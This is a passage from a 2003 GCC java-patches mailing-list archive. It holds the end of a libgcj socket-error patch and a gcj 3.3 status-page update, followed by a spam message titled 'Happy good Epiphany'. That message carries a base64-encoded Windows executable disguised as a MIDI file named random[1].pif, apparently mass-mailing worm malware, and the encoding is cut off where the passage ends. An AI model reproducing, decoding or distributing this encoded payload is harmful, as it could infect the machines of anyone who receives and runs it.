Some errors cause us to return end of stream... - if (errno == ENOTCONN) + if (_Jv_platform_getsockerr () == ENOTCONN) return -1; @@ -654,5 +661,5 @@ { // Some errors cause us to return end of stream... - if (errno == ENOTCONN) + if (_Jv_platform_getsockerr () == ENOTCONN) return -1; @@ -676,5 +683,5 @@ r = ::ioctl (fnum, FIONREAD, &num); - if (r == -1 && errno == ENOTTY) + if (r == -1 && _Jv_platform_getsockerr () == ENOTTY) { // If the ioctl doesn't work, we don't care. @@ -687,5 +694,5 @@ if (fnum < 0) { - errno = EBADF; + _Jv_platform_setsockerr (EBADF); r = -1; } @@ -852,5 +859,5 @@ default : - errno = ENOPROTOOPT; + _Jv_platform_setsockerr (ENOPROTOOPT); } @@ -995,5 +1002,5 @@ default : - errno = ENOPROTOOPT; + _Jv_platform_setsockerr (ENOPROTOOPT); } -------------------------------- 8< -------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5763-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 01:09:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7746 invoked by alias); 5 Jan 2003 01:09:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7731 invoked from network); 5 Jan 2003 01:09:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 5 Jan 2003 01:09:18 -0000 Received: from fleche.redhat.com (tz0182.peakpeak.com [207.174.69.182]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA02686; Sat, 4 Jan 2003 18:09:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BCD3D4F8073; Sat, 4 Jan 2003 18:12:12 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: FYI: gcj 3.3 status update From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Sign my PETITION. Date: 04 Jan 2003 18:12:12 -0700 Message-ID: <87of6wh02b.fsf@fleche.redhat.com> Lines: 45 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This is a small update to the gcj 3.3 status page. Tom Index: ChangeLog from Tom Tromey * gcj-3.3-status.html: Andreas Tobler handles Darwin; Jeff Sturm handles Solaris 8 and alpha linux. Index: gcj-3.3-status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/gcj-3.3-status.html,v retrieving revision 1.5 diff -u -r1.5 gcj-3.3-status.html --- gcj-3.3-status.html 30 Dec 2002 22:00:29 -0000 1.5 +++ gcj-3.3-status.html 5 Jan 2003 01:08:47 -0000 @@ -39,7 +39,7 @@
alphaev67-unknown-linux-gnu     Jeff Sturm
ia64-*-linux-gnu
sparc-sun-solaris2.8     Jeff Sturm
sparc-sun-solaris2.7
PPC Darwin     Andreas Tobler
alpha-dec-osf4.0f
- @@ -29,7 +28,6 @@ - @@ -59,7 +57,6 @@ - @@ -131,7 +128,6 @@ - From java-patches-return-5766-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 11:33:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18822 invoked by alias); 5 Jan 2003 11:33:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18809 invoked from network); 5 Jan 2003 11:33:42 -0000 Received: from unknown (HELO relay-2v.club-internet.fr) (194.158.96.113) by 209.249.29.67 with SMTP; 5 Jan 2003 11:33:42 -0000 Received: from Jebb (lxxx-1-149.n.club-internet.fr [213.44.0.149]) by relay-2v.club-internet.fr (Postfix) with SMTP id 64065174B for ; Sun, 5 Jan 2003 12:33:01 +0100 (CET) From: hokiestoked To: java-patches@gcc.gnu.org Subject: Happy good Epiphany MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=J7x02d6U32917A6V8406 Message-Id: <20030105113301.64065174B@relay-2v.club-internet.fr> Date: Sun, 5 Jan 2003 12:33:01 +0100 (CET) --J7x02d6U32917A6V8406 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --J7x02d6U32917A6V8406 Content-Type: audio/x-midi; name=random[1].pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 